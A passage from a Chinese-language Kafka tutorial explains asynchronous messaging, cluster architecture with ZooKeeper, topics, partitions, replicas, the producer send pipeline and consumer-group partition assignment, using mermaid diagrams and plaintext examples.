各服务耗时之和</code></pre><p><strong>为什么是串行的</strong>：</p><ul><li>用户服务必须等待邮件服务返回才能继续</li><li>必须等待设置服务完成才能调用统计服务</li><li>任何一个下游服务超时都会阻塞整个流程</li><li>客户端要等待所有操作完成才能收到响应</li></ul><p><strong>同步调用的问题</strong>：</p><ul><li><strong>响应时间长</strong>：总响应时间 = 所有下游服务调用时间之和</li><li><strong>级联故障</strong>：邮件服务故障会导致整个注册流程失败</li><li><strong>紧耦合</strong>：用户服务必须知道所有下游服务的接口和地址</li><li><strong>扩展困难</strong>：新增业务逻辑需要修改用户服务代码</li></ul><h3 id="1-2-异步消息系统的解决方案">1.2 异步消息系统的解决方案</h3><p><strong>使用消息队列的异步处理方式</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant Client as 客户端    participant User as 用户服务    participant MQ as 消息队列    participant Email as 邮件服务    participant Setting as 设置服务    participant Stat as 统计服务    Client-&gt;&gt;User: 注册请求    User-&gt;&gt;User: 1. 验证并创建用户    par 并行发送消息        User-&gt;&gt;MQ: 发送&quot;用户注册&quot;消息    and        User-&gt;&gt;Client: 2. 立即返回注册成功    end    par 各服务独立消费        MQ-&gt;&gt;Email: 消费消息并发送邮件    and        MQ-&gt;&gt;Setting: 消费消息并创建设置    and        MQ-&gt;&gt;Stat: 消费消息并记录统计    end    Note over Client,Stat: 并行执行，用户无需等待后续处理</code></pre><p><strong>为什么是异步的</strong>：</p><ul><li>用户服务创建用户后立即发送消息到队列</li><li>用户服务不等待下游服务处理完成就返回成功</li><li>各个下游服务独立从队列消费消息并处理</li><li>客户端快速收到响应，用户体验更好</li></ul><p><strong>异步消息的优势</strong>：</p><ul><li><strong>解耦性</strong>：用户服务只需要发消息，不关心谁来处理</li><li><strong>高可用</strong>：某个服务故障不影响用户注册流程</li><li><strong>弹性伸缩</strong>：各服务可以根据负载独立扩展</li><li><strong>最终一致性</strong>：保证消息最终会被处理，但不保证立即处理</li></ul><p><strong>需要考虑的问题</strong>：</p><ul><li><strong>数据一致性</strong>：如何处理消息处理失败的情况</li><li><strong>消息顺序</strong>：某些业务场景需要保证消息处理顺序</li><li><strong>重复处理</strong>：需要考虑消息重复消费的幂等性问题</li></ul><h3 id="1-3-Kafka的技术定位">1.3 Kafka的技术定位</h3><p><strong>Apache Kafka</strong>是一个分布式流处理平台，具备以下特性：</p><ul><li><strong>高吞吐量</strong>：单机可达数百万TPS</li><li><strong>低延迟</strong>：毫秒级消息传递</li><li><strong>持久化存储</strong>：基于磁盘的可靠存储</li><li><strong>水平扩展</strong>：支持集群动态扩容</li></ul><hr><h2 id="第二章：Kafka核心架构">第二章：Kafka核心架构</h2><h3 id="2-1-为什么需要分布式架构">2.1 为什么需要分布式架构</h3><p><strong>单机消息队列的限制</strong>：</p><ul><li><strong>存储容量限制</strong>：单台服务器磁盘容量有限，无法存储海量消息</li><li><strong>处理能力限制</strong>：单CPU无法处理高并发的读写请求</li><li><strong>可靠性风险</strong>：单点故障会导致整个消息系统不可用</li><li><strong>扩展性差</strong>：业务增长时无法灵活扩容</li></ul><p><strong>分布式架构的必要性</strong>：</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;单机限制&quot;        S1[CPU: 有限处理能力]        S2[内存: 有限缓存容量]        S3[磁盘: 有限存储空间]        S4[网络: 单点带宽瓶颈]    end    subgraph &quot;分布式解决方案&quot;        D1[多CPU并行处理]        D2[分布式内存缓存]        D3[水平扩展存储]        D4[负载均衡分担流量]    end    S1 --&gt; D1    S2 --&gt; D2    S3 --&gt; D3    S4 --&gt; D4</code></pre><h3 id="2-2-Kafka集群拓扑结构设计原理">2.2 Kafka集群拓扑结构设计原理</h3><p>在介绍Kafka集群架构之前，需要了解一个重要组件：<strong>ZooKeeper</strong>。ZooKeeper是一个分布式协调服务，在Kafka集群中承担着关键角色：负责元数据管理、Leader选举、配置管理和集群协调。可以把ZooKeeper理解为Kafka集群的&quot;大脑&quot;，它知道集群中每个组件的状态和位置。</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Kafka Cluster&quot;        B1[Broker 1&lt;br/&gt;负责Partition 0,3]        B2[Broker 2&lt;br/&gt;负责Partition 1,4]        B3[Broker 3&lt;br/&gt;负责Partition 2,5]    end    subgraph &quot;ZooKeeper Ensemble&quot;        Z1[ZK Node 1&lt;br/&gt;Leader选举]        Z2[ZK Node 2&lt;br/&gt;元数据同步]        Z3[ZK Node 3&lt;br/&gt;故障检测]    end    P[Producer&lt;br/&gt;智能路由] --&gt; B1    P --&gt; B2    P --&gt; B3    B1 --&gt; C[Consumer&lt;br/&gt;负载均衡]    B2 --&gt; C    B3 --&gt; C    B1 -.-&gt; Z1    B2 -.-&gt; Z2    B3 -.-&gt; Z3    style B1 fill:#e1f5fe    style B2 fill:#e1f5fe    style B3 fill:#e1f5fe</code></pre><p><strong>为什么需要多个Broker</strong>：</p><ol><li><p><strong>水平扩展存储</strong>：</p><ul><li>每个Broker管理部分Partition</li><li>总存储容量 = 单Broker容量 × Broker数量</li><li>可以根据数据量动态增加Broker</li></ul></li><li><p><strong>并行处理提升性能</strong>：</p><ul><li>多个Broker同时处理不同Partition的读写</li><li>避免单点性能瓶颈</li><li>理论上处理能力线性增长</li></ul></li><li><p><strong>故障容错</strong>：</p><ul><li>Broker故障时，其他Broker继续服务</li><li>数据副本分布在多个Broker上</li><li>实现高可用架构</li></ul></li></ol><p><strong>为什么需要ZooKeeper集群</strong>：</p><p>在分布式系统中，多个节点需要协调工作，这带来了复杂的挑战：</p><ol><li><strong>节点状态同步问题</strong>：</li></ol><pre><code class="highlight mermaid">graph TD    B1[&quot;Broker 1认为：&lt;br/&gt;Partition A的Leader是Broker 2&quot;]    B2[&quot;Broker 2认为：&lt;br/&gt;Partition A的Leader是Broker 3&quot;]    B3[&quot;Broker 3认为：&lt;br/&gt;Partition A的Leader是Broker 2&quot;]    style B1 fill:#ffcdd2    style B2 fill:#ffcdd2    style B3 fill:#ffcdd2</code></pre><ul><li>如果各个Broker对集群状态有不同理解，系统就无法正常工作</li><li>需要一个权威的协调者来维护统一的状态信息</li></ul><ol start="2"><li><p><strong>Leader选举的复杂性</strong>：<br>当Partition的Leader Broker故障时：</p><ul><li>谁来决定新的Leader是谁？</li><li>如何确保所有Broker都知道这个决定？</li><li>如何防止多个Broker同时认为自己是Leader？</li></ul></li><li><p><strong>配置信息管理</strong>：<br>集群中需要共享的信息包括：</p><ul><li>每个Topic有哪些Partition</li><li>每个Partition的副本分布在哪些Broker上</li><li>哪个副本是Leader，哪些是Follower</li><li>Consumer Group的成员信息</li></ul></li></ol><p><strong>为什么ZooKeeper本身也需要集群</strong>：</p><p>单个ZooKeeper节点会成为整个系统的单点故障：</p><ul><li>如果ZooKeeper宕机，整个Kafka集群都无法正常工作</li><li>ZooKeeper集群（通常3个或5个节点）提供高可用性</li><li>即使部分ZooKeeper节点故障，集群仍能正常工作</li><li>ZooKeeper通过一致性算法确保数据的强一致性</li></ul><p><strong>为什么Producer连接所有Broker</strong>：</p><ol><li><p><strong>智能路由</strong>：</p><ul><li>Producer获取Topic的Partition分布信息</li><li>根据分区策略直接连接目标Broker</li><li>避免消息转发的网络开销</li></ul></li><li><p><strong>负载均衡</strong>：</p><ul><li>不同消息可以并行发送到不同Broker</li><li>避免单点写入瓶颈</li></ul></li></ol><p><strong>为什么Consumer从所有Broker读取</strong>：</p><ol><li><p><strong>数据分布</strong>：</p><ul><li>Consumer需要的数据可能分布在不同Broker上</li><li>必须能够访问所有相关Broker</li></ul></li><li><p><strong>故障转移</strong>：</p><ul><li>某个Broker故障时，Consumer可以从其他Broker读取副本数据</li></ul></li></ol><h3 id="2-4-Topic与Partition的层级关系">2.4 Topic与Partition的层级关系</h3><p><strong>什么是Topic</strong>：<br>Topic是Kafka中消息的逻辑分类单位。可以理解为一个消息的类别标签。</p><p>例如：</p><ul><li><code>user-login</code> Topic：存放所有用户登录相关的消息</li><li><code>order-created</code> Topic：存放所有订单创建相关的消息</li><li><code>payment-completed</code> Topic：存放所有支付完成相关的消息</li></ul><p><strong>为什么需要Topic分类</strong>：<br>想象一个系统中有各种类型的消息混合在一起：</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;没有Topic分类的混乱状态&quot;        M1[用户登录消息]        M2[订单创建消息]        M3[支付完成消息]        M4[用户登录消息]        M5[库存更新消息]    end    M1 --&gt; M2 --&gt; M3 --&gt; M4 --&gt; M5    C1[订单处理系统] --&gt; M1    note1[需要过滤掉不相关消息]</code></pre><p>使用Topic分类后：</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Topic分类管理&quot;        T1[user-login Topic]        T2[order-created Topic]        T3[payment-completed Topic]    end    T2 --&gt; C1[订单处理系统]    note2[直接消费相关消息，无需过滤]</code></pre><p><strong>什么是Partition</strong>：<br>Partition是Topic的物理存储分片。一个Topic可以被分成多个Partition。</p><p><strong>Topic和Partition的层级关系</strong>：</p><pre><code class="highlight mermaid">graph TD    T[Topic: user-events&lt;br/&gt;逻辑层面的消息分类]    T --&gt; P0[Partition 0&lt;br/&gt;物理存储分片1]    T --&gt; P1[Partition 1&lt;br/&gt;物理存储分片2]    T --&gt; P2[Partition 2&lt;br/&gt;物理存储分片3]    P0 --&gt; F0[实际文件：/logs/user-events-0/]    P1 --&gt; F1[实际文件：/logs/user-events-1/]    P2 --&gt; F2[实际文件：/logs/user-events-2/]    style T fill:#e3f2fd    style P0 fill:#fff3e0    style P1 fill:#fff3e0    style P2 fill:#fff3e0</code></pre><p><strong>层级关系说明</strong>：</p><ol><li><strong>Topic是逻辑概念</strong>：开发者在代码中指定消息发送到哪个Topic</li><li><strong>Partition是物理概念</strong>：消息实际存储在具体的Partition文件中</li><li><strong>一对多关系</strong>：一个Topic包含一个或多个Partition</li><li><strong>Partition编号</strong>：从0开始，例如user-events-0、user-events-1、user-events-2</li></ol><p><strong>为什么要将Topic分成多个Partition</strong>：</p><ol><li><strong>存储容量突破</strong>：</li></ol><pre><code class="highlight mermaid">graph TD    subgraph &quot;单Partition限制&quot;        SP[单个Partition] --&gt; SL[单台机器存储限制]    end    subgraph &quot;多Partition扩展&quot;        MP1[Partition 0] --&gt; B1[Broker 1存储]        MP2[Partition 1] --&gt; B2[Broker 2存储]        MP3[Partition 2] --&gt; B3[Broker 3存储]    end    style SL fill:#ffcdd2    style B1 fill:#c8e6c9    style B2 fill:#c8e6c9    style B3 fill:#c8e6c9</code></pre><ol start="2"><li><strong>并行处理能力</strong>：</li></ol><pre><code class="highlight mermaid">graph LR    subgraph &quot;串行处理（单Partition）&quot;        P[Producer] --&gt; SP[Partition 0]        SP --&gt; C[Consumer]        note1[所有消息串行处理]    end    subgraph &quot;并行处理（多Partition）&quot;        P1[Producer] --&gt; MP1[Partition 0]        P2[Producer] --&gt; MP2[Partition 1]        P3[Producer] --&gt; MP3[Partition 2]        MP1 --&gt; C1[Consumer 1]        MP2 --&gt; C2[Consumer 2]        MP3 --&gt; C3[Consumer 3]        note2[多个消息并行处理]    end</code></pre><ol start="3"><li><strong>负载分散</strong>：<ul><li>不同Partition可以分布在不同的Broker上</li><li>避免单个Broker成为瓶颈</li><li>实现真正的分布式存储</li></ul></li></ol><p><strong>消息如何分配到Partition</strong>：<br>当Producer发送消息时，需要决定消息发送到哪个Partition：</p><pre><code class="highlight mermaid">graph TD    M[消息] --&gt; D&#123;分配策略&#125;    D --&gt;|有Key| H[根据Key的hash值分配&lt;br/&gt;相同Key的消息进入同一Partition]    D --&gt;|无Key| R[轮询分配&lt;br/&gt;消息均匀分布到各Partition]    H --&gt; P1[Partition 0]    R --&gt; P1    R --&gt; P2[Partition 1]    R --&gt; P3[Partition 2]</code></pre><p>这样的层级设计让Kafka既有逻辑上的清晰分类，又有物理上的分布式存储能力。</p><p><strong>Partition的副本机制设计</strong>：</p><pre><code class="highlight mermaid">graph TD    T[Topic: user-events] --&gt; P1[Partition 0]    T --&gt; P2[Partition 1]    T --&gt; P3[Partition 2]    P1 --&gt; R1[Leader Replica&lt;br/&gt;Broker 1]    P1 --&gt; R2[Follower Replica&lt;br/&gt;Broker 2]    P1 --&gt; R3[Follower Replica&lt;br/&gt;Broker 3]    P2 --&gt; R4[Leader Replica&lt;br/&gt;Broker 2]    P2 --&gt; R5[Follower Replica&lt;br/&gt;Broker 1]    P2 --&gt; R6[Follower Replica&lt;br/&gt;Broker 3]    P3 --&gt; R7[Leader Replica&lt;br/&gt;Broker 3]    P3 --&gt; R8[Follower Replica&lt;br/&gt;Broker 1]    P3 --&gt; R9[Follower Replica&lt;br/&gt;Broker 2]    style R1 fill:#ff9999    style R4 fill:#ff9999    style R7 fill:#ff9999</code></pre><p><strong>为什么需要副本机制</strong>：</p><ol><li><p><strong>数据持久性保证</strong>：</p><ul><li>磁盘故障是常见硬件问题</li><li>单副本存在数据丢失风险</li><li>多副本提供数据冗余保护</li></ul></li><li><p><strong>高可用性要求</strong>：</p><ul><li>Broker故障时服务不能中断</li><li>副本分布在不同Broker上</li><li>Leader故障时Follower可以接替</li></ul></li><li><p><strong>读写分离的可能性</strong>：</p><ul><li>Leader处理写请求，保证数据一致性</li><li>Follower可以处理读请求（新版本支持）</li><li>分担Leader的读取压力</li></ul></li></ol><p><strong>为什么要区分Leader和Follower</strong>：</p><ol><li><p><strong>一致性保证</strong>：</p><ul><li>如果所有副本都可以写入，会产生数据冲突</li><li>Leader统一处理写入，确保数据顺序一致</li><li>Follower从Leader同步，保证副本一致性</li></ul></li><li><p><strong>性能优化</strong>：</p><ul><li>避免多点写入的分布式锁开销</li><li>Leader可以批量同步给多个Follower</li><li>简化了副本间的协调复杂度</li></ul></li></ol><p><strong>副本分布策略的考虑</strong>：</p><ul><li><strong>跨Broker分布</strong>：避免单点故障</li><li><strong>跨机架分布</strong>：避免机架级故障</li><li><strong>负载均衡</strong>：Leader副本均匀分布在各Broker</li></ul><h3 id="2-5-消息的物理存储模型">2.5 消息的物理存储模型</h3><pre><code class="highlight mermaid">graph TB    subgraph &quot;Partition Directory&quot;        subgraph &quot;Segment 1&quot;            S1L[00000000000.log]            S1I[00000000000.index]            S1T[00000000000.timeindex]        end        subgraph &quot;Segment 2&quot;            S2L[00000100000.log]            S2I[00000100000.index]            S2T[00000100000.timeindex]        end        subgraph &quot;Active Segment&quot;            S3L[00000200000.log]            S3I[00000200000.index]            S3T[00000200000.timeindex]        end    end</code></pre><p><strong>Log Segment</strong>：</p><ul><li>每个Partition被分割为多个Segment文件</li><li>只有最新的Segment可写，其他为只读</li><li>便于数据清理和管理</li></ul><p><strong>索引机制</strong>：</p><ul><li><strong>Offset Index</strong>：消息偏移量到文件位置的映射</li><li><strong>Time Index</strong>：时间戳到消息偏移量的映射</li><li>支持快速随机访问和时间范围查询</li></ul><hr><h2 id="第三章：消息生产与消费机制">第三章：消息生产与消费机制</h2><h3 id="3-1-Producer消息发送流程">3.1 Producer消息发送流程</h3><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant I as Interceptor    participant S as Serializer    participant PT as Partitioner    participant A as Accumulator    participant ST as Sender Thread    participant B as Broker    P-&gt;&gt;I: 1. 消息预处理    I-&gt;&gt;S: 2. 序列化Key/Value    S-&gt;&gt;PT: 3. 计算目标分区    PT-&gt;&gt;A: 4. 加入消息批次    A-&gt;&gt;ST: 5. 批次发送    ST-&gt;&gt;B: 6. 网络传输    B-&gt;&gt;ST: 7. 响应确认    ST-&gt;&gt;P: 8. 回调处理</code></pre><p><strong>关键组件的具体作用</strong>：</p><p><strong>Interceptor（消息拦截器）</strong>：<br>在消息发送前进行预处理的组件。</p><p><em>具体例子</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">原始消息：&#123;&quot;userId&quot;: &quot;123&quot;, &quot;action&quot;: &quot;login&quot;&#125;</span><br><span class="line"></span><br><span class="line">经过拦截器处理：</span><br><span class="line">&#123;</span><br><span class="line">  &quot;userId&quot;: &quot;123&quot;,</span><br><span class="line">  &quot;action&quot;: &quot;login&quot;,</span><br><span class="line">  &quot;timestamp&quot;: &quot;2024-01-15 10:30:00&quot;,  // 自动添加时间戳</span><br><span class="line">  &quot;source&quot;: &quot;mobile-app&quot;,              // 自动添加来源标识</span><br><span class="line">  &quot;requestId&quot;: &quot;req-456789&quot;            // 自动生成请求ID</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Serializer（序列化器）</strong>：<br>将Java对象转换为字节数组，以便网络传输。</p><p><em>具体例子</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Java对象：User user = new User(&quot;张三&quot;, 25);</span><br><span class="line"></span><br><span class="line">经过序列化器：</span><br><span class="line">[123, 34, 231, 149, 160, 228, 184, 137, 34, 58, 34, ...]  // 字节数组</span><br><span class="line"></span><br><span class="line">网络传输后，在Consumer端反序列化：</span><br><span class="line">User user = deserializer.deserialize(bytes);  // 恢复为Java对象</span><br></pre></td></tr></table></figure><p><strong>Partitioner（分区器）</strong>：<br>决定消息发送到哪个具体分区。</p><p><em>具体例子</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">场景：用户操作消息需要保证同一用户的消息有序</span><br><span class="line"></span><br><span class="line">消息1：&#123;&quot;userId&quot;: &quot;user123&quot;, &quot;action&quot;: &quot;login&quot;&#125;</span><br><span class="line">Hash(&quot;user123&quot;) % 3 = 1 → 发送到Partition 1</span><br><span class="line"></span><br><span class="line">消息2：&#123;&quot;userId&quot;: &quot;user123&quot;, &quot;action&quot;: &quot;browse&quot;&#125;</span><br><span class="line">Hash(&quot;user123&quot;) % 3 = 1 → 发送到Partition 1  // 同一用户，同一分区</span><br><span class="line"></span><br><span class="line">消息3：&#123;&quot;userId&quot;: &quot;user456&quot;, &quot;action&quot;: &quot;login&quot;&#125;</span><br><span class="line">Hash(&quot;user456&quot;) % 3 = 2 → 发送到Partition 2  // 不同用户，可能不同分区</span><br></pre></td></tr></table></figure><p><strong>RecordAccumulator（消息累加器）</strong>：<br>将多个消息打包成批次，提高发送效率。</p><p><em>具体例子</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">时间线：</span><br><span class="line">10:00:01 - 消息A到达累加器 → 等待更多消息</span><br><span class="line">10:00:02 - 消息B到达累加器 → 继续等待</span><br><span class="line">10:00:03 - 消息C到达累加器 → 批次达到设定大小</span><br><span class="line">10:00:03 - 发送批次[A,B,C] → 一次网络调用发送3条消息</span><br><span class="line"></span><br><span class="line">好处：减少网络调用次数，提高吞吐量</span><br></pre></td></tr></table></figure><p><strong>Sender Thread（独立发送线程）</strong>：<br>专门负责网络I/O的后台线程。</p><p><em>具体例子</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">主线程的工作：</span><br><span class="line">1. 处理业务逻辑</span><br><span class="line">2. 调用producer.send() → 消息放入累加器，立即返回</span><br><span class="line">3. 继续处理其他业务</span><br><span class="line"></span><br><span class="line">Sender线程的工作：</span><br><span class="line">1. 从累加器取出消息批次</span><br><span class="line">2. 建立网络连接</span><br><span class="line">3. 发送数据到Broker</span><br><span class="line">4. 处理响应和重试</span><br><span class="line"></span><br><span class="line">好处：主线程不会被网络I/O阻塞</span><br></pre></td></tr></table></figure><h3 id="3-2-分区器-Partitioner-策略">3.2 分区器(Partitioner)策略</h3><pre><code class="highlight mermaid">graph TD    M[Message] --&gt; PK&#123;&quot;Has Key?&quot;&#125;    PK --&gt;|Yes| H[&quot;Hash(key) % partitions&quot;]    PK --&gt;|No| RR[&quot;Round Robin&quot;]    H --&gt; P1[Partition 0]    RR --&gt; P2[Partition 1]    RR --&gt; P3[Partition 2]</code></pre><p><strong>分区策略</strong>：</p><ul><li><strong>Hash分区</strong>：基于消息Key的哈希值分区，确保相同Key的消息有序</li><li><strong>轮询分区</strong>：无Key消息的均匀分布策略</li><li><strong>自定义分区</strong>：实现Partitioner接口的业务逻辑</li></ul><h3 id="3-3-Consumer-Group机制的设计原理">3.3 Consumer Group机制的设计原理</h3><p><strong>为什么需要Consumer Group</strong>：</p><p>在实际系统中，我们经常遇到这样的需求：</p><p><em>场景1：水平扩展消费能力</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">订单Topic每秒产生1000条消息</span><br><span class="line">单个Consumer每秒只能处理100条消息</span><br><span class="line">问题：Consumer处理不过来，消息积压</span><br></pre></td></tr></table></figure><p>如果没有Consumer Group机制：</p><pre><code class="highlight mermaid">graph TD    T[订单Topic&lt;br/&gt;1000条/秒] --&gt; C1[Consumer A&lt;br/&gt;100条/秒]    T --&gt; C2[Consumer B&lt;br/&gt;100条/秒]    T --&gt; C3[Consumer C&lt;br/&gt;100条/秒]    note1[问题：每个Consumer都会收到所有1000条消息&lt;br/&gt;造成重复处理]    style C1 fill:#ffcdd2    style C2 fill:#ffcdd2    style C3 fill:#ffcdd2</code></pre><p>使用Consumer Group后：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;订单处理组（Group: order-processors）&quot;        C1[Consumer A&lt;br/&gt;处理333条/秒]        C2[Consumer B&lt;br/&gt;处理333条/秒]        C3[Consumer C&lt;br/&gt;处理334条/秒]    end    T[订单Topic&lt;br/&gt;1000条/秒] --&gt; P1[Partition 0]    T --&gt; P2[Partition 1]    T --&gt; P3[Partition 2]    P1 --&gt; C1    P2 --&gt; C2    P3 --&gt; C3    note2[每条消息只被处理一次&lt;br/&gt;总处理能力：1000条/秒]    style C1 fill:#c8e6c9    style C2 fill:#c8e6c9    style C3 fill:#c8e6c9</code></pre><p><em>场景2：多业务系统共享数据</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">用户注册消息需要被多个系统处理：</span><br><span class="line">- 邮件系统：发送欢迎邮件</span><br><span class="line">- 统计系统：更新注册统计</span><br><span class="line">- 推荐系统：初始化用户画像</span><br></pre></td></tr></table></figure><p><strong>Consumer Group的核心规则</strong>：</p><ol><li><p><strong>组内不重复</strong>：同一Group内的Consumer不会重复消费同一条消息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">订单处理组内：</span><br><span class="line">- Consumer A 处理 订单1、订单4、订单7...</span><br><span class="line">- Consumer B 处理 订单2、订单5、订单8...</span><br><span class="line">- Consumer C 处理 订单3、订单6、订单9...</span><br><span class="line">每个订单只被处理一次</span><br></pre></td></tr></table></figure></li><li><p><strong>组间独立</strong>：不同Group可以独立消费所有消息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">用户注册Topic的消息：</span><br><span class="line">- 邮件处理组：所有注册消息都会被处理</span><br><span class="line">- 统计分析组：所有注册消息都会被处理</span><br><span class="line">- 推荐系统组：所有注册消息都会被处理</span><br><span class="line">每个Group都能看到完整的数据</span><br></pre></td></tr></table></figure></li></ol><p><strong>Consumer与Partition的分配机制</strong>：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Topic: user-events (3个Partition)&quot;        P1[Partition 0]        P2[Partition 1]        P3[Partition 2]    end    subgraph &quot;Group A: 邮件处理组 (3个Consumer)&quot;        CA1[Consumer A1]        CA2[Consumer A2]        CA3[Consumer A3]    end    subgraph &quot;Group B: 统计分析组 (2个Consumer)&quot;        CB1[Consumer B1]        CB2[Consumer B2]    end    P1 --&gt; CA1    P2 --&gt; CA2    P3 --&gt; CA3    P1 --&gt; CB1    P2 --&gt; CB1    P3 --&gt; CB2    note1[Group A：一对一分配]    note2[Group B：Consumer B1处理2个分区]</code></pre><p><strong>分配规则的具体逻辑</strong>：</p><ol><li><p><strong>Consumer数量 ≤ Partition数量</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">3个Partition，2个Consumer：</span><br><span class="line">- Consumer 1：负责Partition 0 + Partition 1</span><br><span class="line">- Consumer 2：负责Partition 2</span><br></pre></td></tr></table></figure></li><li><p><strong>Consumer数量 &gt; Partition数量</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">3个Partition，5个Consumer：</span><br><span class="line">- Consumer 1：负责Partition 0</span><br><span class="line">- Consumer 2：负责Partition 1</span><br><span class="line">- Consumer 3：负责Partition 2</span><br><span class="line">- Consumer 4：空闲（无分区分配）</span><br><span class="line">- Consumer 5：空闲（无分区分配）</span><br></pre></td></tr></table></figure></li></ol><p><strong>为什么要这样设计</strong>：</p><p>可能有人会问：为什么不让多个Consumer同时处理同一个分区来提高并行度？答案是为了保证消息的顺序性。如果多个Consumer同时处理同一分区，就无法保证消息按照发送顺序被处理，这在很多业务场景下是不可接受的。</p><p><strong>重要澄清：分区之间没有顺序关系</strong></p><p>这里需要澄清一个关键概念：<strong>分区之间是没有顺序关系的，只有分区内部的消息是有序的</strong>。Consumer可以并行地从多个分区读取数据，不需要按照分区编号顺序去一个一个读取。</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Topic: user-events&quot;        P0[&quot;Partition 0&lt;br/&gt;消息A1→A2→A3&quot;]        P1[&quot;Partition 1&lt;br/&gt;消息B1→B2→B3&quot;]        P2[&quot;Partition 2&lt;br/&gt;消息C1→C2→C3&quot;]    end    subgraph &quot;Consumer Group&quot;        C1[&quot;Consumer 1&quot;]        C2[&quot;Consumer 2&quot;]        C3[&quot;Consumer 3&quot;]    end    P0 --&gt; C1    P1 --&gt; C2    P2 --&gt; C3    note1[分区内有序：消息按顺序处理, 例如 A1→A2→A3]    note2[分区间无序: A1, B1, C1 的处理顺序是随机的&lt;br/&gt;并行消费: 三个 Consumer 同时工作]    P1 -.-&gt; note1    C2 -.-&gt; note2</code></pre><ol><li><p><strong>保证消费顺序</strong>：</p><ul><li><strong>分区内有序</strong>：单个Partition内的消息严格按照写入顺序消费</li><li><strong>分区间无序</strong>：不同Partition之间的消息没有顺序关系</li><li><strong>同一Partition只能被一个Consumer消费</strong>：确保分区内的顺序性</li><li><strong>并行处理</strong>：多个Consumer可以同时从不同分区消费数据</li></ul></li></ol><p><strong>具体例子说明顺序性</strong>：</p><p>假设有一个订单处理场景：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">时间轴上的事件：</span><br><span class="line">10:00:01 - 用户A下单 → 发送到Partition 0</span><br><span class="line">10:00:02 - 用户B下单 → 发送到Partition 1</span><br><span class="line">10:00:03 - 用户A付款 → 发送到Partition 0</span><br><span class="line">10:00:04 - 用户B取消 → 发送到Partition 1</span><br><span class="line"></span><br><span class="line">结果：</span><br><span class="line">Partition 0: [用户A下单] → [用户A付款]  ✓ 顺序正确</span><br><span class="line">Partition 1: [用户B下单] → [用户B取消]  ✓ 顺序正确</span><br></pre></td></tr></table></figure><p>关键点：</p><ul><li><strong>需要保序的消息</strong>（同一用户的操作）必须发送到同一分区</li><li><strong>不同用户的消息</strong>可以发送到不同分区，并行处理</li><li><strong>Consumer不需要等待其他分区</strong>，可以各自独立处理</li></ul><p><strong>深入理解：分区内容的差异性</strong></p><p>您提出了一个关键问题：分区之间的内容是一样的还是不一样的？答案是：<strong>分区之间的内容是完全不同的，它们存储的是不同的消息</strong>。</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;Producer发送消息&quot;        M1[消息1: 用户A下单]        M2[消息2: 用户B下单]        M3[消息3: 用户A付款]        M4[消息4: 用户C下单]    end    subgraph &quot;分区器决策&quot;        PD[根据用户ID哈希分配]    end    subgraph &quot;Topic分区存储&quot;        P0[Partition 0&lt;br/&gt;用户A下单&lt;br/&gt;用户A付款]        P1[Partition 1&lt;br/&gt;用户B下单&lt;br/&gt;用户C下单]    end    M1 --&gt; PD    M2 --&gt; PD    M3 --&gt; PD    M4 --&gt; PD    PD --&gt; P0    PD --&gt; P1    style P0 fill:#e3f2fd    style P1 